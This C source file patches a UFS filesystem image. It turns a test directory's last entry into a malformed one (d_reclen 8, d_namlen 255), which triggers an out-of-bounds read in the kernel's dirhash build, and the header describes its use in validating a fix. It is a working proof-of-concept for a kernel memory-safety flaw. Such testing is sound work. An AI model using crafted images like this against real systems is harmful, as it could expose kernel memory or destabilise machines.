/*
 * DF-0844 — Image patcher v4: precisely patches testdir's last entry
 * to create a malformed entry (d_reclen < DIRSIZ) followed by a valid
 * free entry, so the dirhash build loop ends cleanly (build SUCCEEDS).
 *
 * This produces a clean before/after signal for fix validation:
 *   UNPATCHED: dirhash build accepts malformed entry → hash called (OOB read)
 *              → build SUCCEEDS → vfs.ufs.dirhash_mem increases
 *   PATCHED:   dirhash build rejects entry (d_reclen < DIRSIZ) → build FAILS
 *              → vfs.ufs.dirhash_mem unchanged
 *
 * The testdir layout (25 files, ~195-char names, 6656 bytes, 13 chunks):
 *   Chunk 12 (dir offset 6144-6655): file25 entry, d_reclen=512, d_namlen=195
 *
 * Patch:
 *   1. file25 entry at dir offset 6144:
 *      d_reclen: 512 → 8    (d_reclen < DIRSIZ(255)=264 → MALFORMED)
 *      d_namlen: 195 → 255  (forces 255-byte d_name read past entry boundary)
 *   2. Insert free entry at dir offset 6152 (= 6144 + 8):
 *      d_ino=0, d_reclen=504 (= 512 - 8), d_type=0, d_namlen=0
 *      (valid free entry covering rest of chunk; loop advances to i_size)
 *
 * Usage: ./dirhash_patch <image_file> <file25_block_offset_in_image>
 *   where file25_block_offset = (frag_number * 512) for the testdir's 2nd block
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

struct direct {
    uint32_t d_ino;
    uint16_t d_reclen;
    uint8_t  d_type;
    uint8_t  d_namlen;
    char     d_name[256];
};

#define DIRECT_HDRSZ 8
#define DIRBLKSIZ    512
#define MAXNAMLEN    255
#define DIRALIGN     4

#define DIRECTSIZ(namlen) ((DIRECT_HDRSZ + ((namlen)+1) + 3) & ~3)

int
main(int argc, char **argv)
{
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <image> <testdir_block2_image_offset_decimal>\n", argv[0]);
        return 2;
    }
    const char *imgpath = argv[1];
    long block2_off = atol(argv[2]);
    if (block2_off <= 0) { fprintf(stderr, "bad offset\n"); return 2; }

    int fd = open(imgpath, O_RDWR);
    if (fd < 0) { perror("open"); return 2; }

    off_t imgsz = lseek(fd, 0, SEEK_END);
    if ((off_t)block2_off + 4096 > imgsz) {
        fprintf(stderr, "offset+4096 > image size\n");
        return 2;
    }

    /* file25 is the LAST entry, at dir offset 6144 within the directory.
     * Block 2 starts at dir offset 4096. So file25 is at block2_off + 2048.
     * The entry is the only entry in the last 512-byte chunk (chunk 12). */
    off_t file25_off = block2_off + 2048;

    /* Read current entry */
    struct direct ep;
    lseek(fd, file25_off, SEEK_SET);
    if (read(fd, &ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) {
        perror("read entry"); return 2;
    }

    printf("file25 entry at image offset 0x%llx:\n", (long long)file25_off);
    printf("  BEFORE: ino=%u reclen=%u type=%u namlen=%u\n",
           ep.d_ino, ep.d_reclen, ep.d_type, ep.d_namlen);

    if (ep.d_reclen != 512 || ep.d_namlen < 100) {
        fprintf(stderr, "WARNING: entry doesn't match expected layout!\n");
        fprintf(stderr, "Expected reclen=512 namlen~195, got reclen=%u namlen=%u\n",
                ep.d_reclen, ep.d_namlen);
    }

    /* PATCH 1: Corrupt file25 entry */
    ep.d_reclen = 8;        /* << DIRSIZ(255)=264 → MALFORMED */
    ep.d_namlen = MAXNAMLEN; /* forces 255-byte OOB read from d_name */

    lseek(fd, file25_off, SEEK_SET);
    if (write(fd, &ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) {
        perror("write entry"); return 2;
    }

    printf("  AFTER:  ino=%u reclen=%u type=%u namlen=%u\n",
           ep.d_ino, ep.d_reclen, ep.d_type, ep.d_namlen);
    printf("  DIRSIZ(255)=%u > d_reclen(8) → MALFORMED\n",
           (uint32_t)DIRECTSIZ(MAXNAMLEN));

    /* PATCH 2: Write free entry at dir offset 6152 (= file25_off + 8) */
    off_t free_off = file25_off + 8;
    struct direct free_ep;
    memset(&free_ep, 0, sizeof(free_ep));
    free_ep.d_ino = 0;       /* free entry */
    free_ep.d_reclen = 504;  /* 512 - 8 = rest of chunk */
    free_ep.d_type = 0;
    free_ep.d_namlen = 0;

    lseek(fd, free_off, SEEK_SET);
    if (write(fd, &free_ep, DIRECT_HDRSZ) != DIRECT_HDRSZ) {
        perror("write free"); return 2;
    }

    printf("\nFree entry at image offset 0x%llx:\n", (long long)free_off);
    printf("  ino=%u reclen=%u type=%u namlen=%u (valid free entry)\n",
           free_ep.d_ino, free_ep.d_reclen, free_ep.d_type, free_ep.d_namlen);

    /* Zero the rest of the free entry's data area (to clean up old name bytes) */
    char zeros[504 - DIRECT_HDRSZ];
    memset(zeros, 0, sizeof(zeros));
    lseek(fd, free_off + DIRECT_HDRSZ, SEEK_SET);
    if (write(fd, zeros, sizeof(zeros)) != (ssize_t)sizeof(zeros)) {
        perror("write zeros"); return 2;
    }

    printf("\nLayout after patch (last chunk at dir offset 6144):\n");
    printf("  [6144] malformed entry: ino=%u reclen=%u namlen=%u (MALFORMED)\n",
           ep.d_ino, ep.d_reclen, ep.d_namlen);
    printf("  [6152] free entry:      ino=0 reclen=%u namlen=0\n",
           free_ep.d_reclen);
    printf("  [6656] = i_size → loop ends, build SUCCEEDS on unpatched kernel\n");

    /* Verify the OOB read extent */
    printf("\nOOB analysis:\n");
    printf("  ufsdirhash_hash reads d_name (255 bytes) from offset 6144+8=6152\n");
    printf("  Read range: dir[6152..6407] = 255 bytes\n");
    printf("  Entry boundary: dir[6144..6152] = 8 bytes (d_reclen)\n");
    printf("  OOB past d_reclen: 6407-6152 = 255 bytes into adjacent data\n");
    printf("  (within buffer since buffer covers dir[4096..8191])\n");

    close(fd);
    printf("\nPatch complete.\n");
    return 0;
}
